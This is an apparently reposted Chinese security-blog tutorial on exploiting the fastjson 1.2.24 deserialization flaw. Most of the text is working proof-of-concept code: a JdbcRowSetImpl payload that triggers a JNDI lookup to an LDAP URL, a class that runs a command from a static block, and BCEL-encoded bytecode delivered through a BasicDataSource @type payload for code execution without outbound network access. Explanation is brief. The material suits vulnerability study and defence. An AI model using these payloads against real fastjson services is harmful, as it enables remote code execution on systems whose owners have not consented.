fastjson反序列化-1.2.24漏洞利用与分析

0x01 利用条件

0x02 出网+JNDI注入

利用类：JdbcRowSetImpl

1. package fastjson.test2;
3. import com.alibaba.fastjson.JSON;
5. public class JdbcRowSetImplPOC {
6. public static void main(String[] args){
7. String s = "{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8086/LrcaDhze","autoCommit":"false"}";
8. JSON.parseObject(s);
9. }

0x03 不出网+动态加载字节码

利用类：ClassLoader

1. $$BCEL$$

1. $$BCEL$$

1. 参数一：类的全限定名，用于获取它的Class对象。
2. 参数二：布尔型，为true时，在类加载的时候会进行初始化。
3. 参数三：选择指定的类加载器。

1. createConnectionFactory-》createDataSource-》getConnection

1. package fastjson.test2;
3. import java.io.IOException;
4. public class Evaltest {
5. static {
6. try {
7. Runtime.getRuntime().exec("calc");
8. } catch (IOException e) {
9. e.printStackTrace();
10. }
11. }
12. }

1. package fastjson.test2;
3. import com.sun.org.apache.bcel.internal.classfile.Utility;
4. import com.sun.org.apache.bcel.internal.util.ClassLoader;
5. import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
7. import java.io.IOException;
8. import java.nio.file.Files;
9. import java.nio.file.Paths;
10. import java.sql.SQLException;
12. public class FastJsonBcel {
13. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
14. ClassLoader classLoader = new ClassLoader();
15. byte[] bytes = Files.readAllBytes(Paths.get("D:\tmp\classes\Evaltest.class"));
16. String s = Utility.encode(bytes,true);
17. BasicDataSource basicDataSource = new BasicDataSource();
18. basicDataSource.setDriverClassLoader(classLoader);
19. basicDataSource.setDriverClassName("$$BCEL$$"+s);
20. basicDataSource.getConnection();
21. }
22. }

1. package fastjson.test2;
3. import com.alibaba.fastjson.JSON;
4. import com.sun.org.apache.bcel.internal.classfile.Utility;
5. import com.sun.org.apache.bcel.internal.util.ClassLoader;
7. import java.io.IOException;
8. import java.nio.file.Files;
9. import java.nio.file.Paths;
10. import java.sql.SQLException;
12. public class FastJsonBcel {
13. public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
14. ClassLoader classLoader = new ClassLoader();
15. byte[] bytes = Files.readAllBytes(Paths.get("D:\tmp\classes\Evaltest.class"));
16. String s = Utility.encode(bytes,true);
18. String code = "{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","DriverClassName":"$$BCEL$$"+s+"","DriverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}}";
19. JSON.parseObject(code);

0x04 toJSON方法遍历所有getter的分析

动态调用函数，成功调用getConnection方法，作为反序列化的开头，继续跟进的话也就回到刚才利用分析的地方。到此就结束。

0x05 结语

原文始发于微信公众号（掌控安全EDU）：fastjson反序列化-1.2.24漏洞利用与分析